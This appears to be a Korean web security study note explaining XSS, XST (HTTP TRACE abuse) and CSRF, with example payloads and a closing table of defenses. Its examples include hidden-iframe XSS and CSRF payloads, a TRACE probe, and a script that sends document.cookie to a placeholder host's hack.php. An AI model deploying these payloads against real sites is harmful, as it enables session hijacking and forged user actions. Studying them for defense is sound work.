<script>
alert("XSS 공격 테스트")
</script>
<a href="javascript:alert('XSS 공격 테스트')">클릭해보세요!</a>
<img src="#" onerror="alert('XSS 공격 테스트')";">
javascript:alert('XSS 공격 테스트');
위 코드를 아스키 코드로 변환하여 삽입
<IFRAME
SRC="javascript:alert('XSS 공격 테스트');" width="0" height="0" frameborder="0"></IFRAME>
<IFRAME ID="showFrame" SRC="javascript:document.write('
<script>
alert('test1');
function show() {
alert('test2');
}
alert('test3');
</script>
');" width="0" height="0" frameborder="0"></IFRAME>
<button id='button" onClick='document.getElementById("showFrame").contentWindow.show()'>button</button>
<script>
location.href = "http://domain.com/hack.php?cookie=" + document.cookie;
</script>
curl -X TRACE -v https://domain.comtrace 활성화
HTTP/1.1 200 OK
Content-Type: message/http
TRACE / HTTP/1.1
Host: domain.com
trace 비활성화
HTTP/1.1 405 Method Not Allowed
or
HTTP/1.1 501 Not Implemented
trace가 활성화가 되어있어 trace 통신이 가능하다면
<script type="text/javascript">
function sendTrace() {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://foo.bar", false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
</script>
<input type=button OnClick="sendTrace();" value="Send Trace Request">
<iframe src="http://domain.com/a/b/postAction?title=글 강제작성&content=ㅎㅇ" width="0" height="0" frameborder="0"></iframe>
XSS는 공격자가 웹 애플리케이션의 보안 취약점을 이용해 악성 스크립트를 삽입하고, 이를 피해자의 브라우저에서 실행하도록 하는 공격입니다. 주로 사용자 입력을 제대로 검증하거나 필터링하지 않은 웹 애플리케이션에서 발생합니다.
Stored XSS (Persistent XSS):
Reflected XSS (Non-Persistent XSS):
DOM-Based XSS:
XST는 HTTP TRACE 메서드의 동작을 악용하는 공격으로, 클라이언트와 서버 간의 요청 메시지를 반환하는 TRACE 메서드로 인해 발생합니다. 공격자는 이 방법을 통해 쿠키나 민감한 정보를 탈취할 수 있습니다.
TraceEnable offEnableTraceMethod를 비활성화.CSRF는 피해자가 의도하지 않은 요청을 웹 애플리케이션으로 전송하도록 속이는 공격입니다. 공격자는 사용자가 로그인 상태인 세션을 악용하여, 권한이 있는 사용자의 이름으로 요청을 실행합니다.
CSRF 토큰 사용:
Referer/Origin 헤더 검증:
SameSite 쿠키 설정:
SameSite 속성을 Strict 또는 Lax로 설정하여 외부 사이트에서 쿠키를 전송하지 못하도록 제한.인증 헤더 요구:
| 공격 유형 | 주요 특징 | 피해 | 예방 방법 |
|---|---|---|---|
| XSS | 사용자 입력을 통해 악성 스크립트 삽입 | 쿠키/세션 탈취, 악성 코드 실행 | 입력 검증, 출력 인코딩, CSP |
| XST | TRACE 메서드를 악용하여 요청 메시지를 탈취 | 쿠키/세션 탈취 | TRACE 비활성화, HttpOnly 쿠키 |
| CSRF | 사용자를 속여 의도치 않은 요청을 수행 | 데이터 변조, 권한 악용 | CSRF 토큰, SameSite 쿠키, Referer 검증 |